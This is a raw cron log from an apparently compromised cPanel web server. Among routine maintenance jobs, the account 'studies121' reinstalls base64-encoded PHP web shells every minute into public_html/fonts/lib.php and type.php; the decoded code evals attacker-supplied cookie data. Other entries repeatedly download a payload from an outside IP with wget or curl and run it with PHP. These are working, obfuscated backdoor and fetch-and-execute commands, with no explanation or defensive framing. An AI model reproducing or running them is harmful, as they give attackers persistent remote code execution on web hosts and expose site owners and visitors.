Sep  9 06:35:01 ip-184-168-122-23 CROND[29237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29236]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:35:01 ip-184-168-122-23 CROND[29243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:36:01 ip-184-168-122-23 CROND[29356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:36:01 ip-184-168-122-23 CROND[29359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:36:01 ip-184-168-122-23 CROND[29360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:36:01 ip-184-168-122-23 CROND[29361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:36:01 ip-184-168-122-23 CROND[29358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:37:01 ip-184-168-122-23 CROND[29490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:37:01 ip-184-168-122-23 CROND[29489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:37:01 ip-184-168-122-23 CROND[29492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:37:01 ip-184-168-122-23 CROND[29491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:38:01 ip-184-168-122-23 CROND[29674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:38:01 ip-184-168-122-23 CROND[29678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:38:01 ip-184-168-122-23 CROND[29676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:38:01 ip-184-168-122-23 CROND[29677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:38:01 ip-184-168-122-23 CROND[29681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:39:01 ip-184-168-122-23 CROND[29782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:39:01 ip-184-168-122-23 CROND[29785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:39:01 ip-184-168-122-23 CROND[29787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 06:39:01 ip-184-168-122-23 CROND[29784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:39:01 ip-184-168-122-23 CROND[29786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:40:01 ip-184-168-122-23 CROND[29896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:40:01 ip-184-168-122-23 CROND[29897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:40:01 ip-184-168-122-23 CROND[29898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:40:01 ip-184-168-122-23 CROND[29903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:40:01 ip-184-168-122-23 CROND[29906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:40:01 ip-184-168-122-23 CROND[29902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:40:01 ip-184-168-122-23 CROND[29905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:40:01 ip-184-168-122-23 CROND[29901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:41:01 ip-184-168-122-23 CROND[30067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:41:01 ip-184-168-122-23 CROND[30069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:41:01 ip-184-168-122-23 CROND[30071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:41:01 ip-184-168-122-23 CROND[30074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:42:01 ip-184-168-122-23 CROND[30187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:42:01 ip-184-168-122-23 CROND[30189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:42:01 ip-184-168-122-23 CROND[30191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:42:01 ip-184-168-122-23 CROND[30190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:42:01 ip-184-168-122-23 CROND[30192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:43:01 ip-184-168-122-23 CROND[30297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:43:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:43:01 ip-184-168-122-23 CROND[30301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:43:01 ip-184-168-122-23 CROND[30299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:44:01 ip-184-168-122-23 CROND[30493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:44:01 ip-184-168-122-23 CROND[30497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:44:01 ip-184-168-122-23 CROND[30499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:44:01 ip-184-168-122-23 CROND[30498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:44:01 ip-184-168-122-23 CROND[30500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:45:01 ip-184-168-122-23 CROND[30607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:45:01 ip-184-168-122-23 CROND[30610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:45:01 ip-184-168-122-23 CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:45:01 ip-184-168-122-23 CROND[30609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:45:01 ip-184-168-122-23 CROND[30613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:45:01 ip-184-168-122-23 CROND[30612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:46:01 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:46:01 ip-184-168-122-23 CROND[30720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:46:01 ip-184-168-122-23 CROND[30721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:46:01 ip-184-168-122-23 CROND[30723]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 06:46:01 ip-184-168-122-23 CROND[30724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:46:01 ip-184-168-122-23 CROND[30725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:46:01 ip-184-168-122-23 CROND[30726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:47:01 ip-184-168-122-23 CROND[30841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:47:01 ip-184-168-122-23 CROND[30842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:47:01 ip-184-168-122-23 CROND[30843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
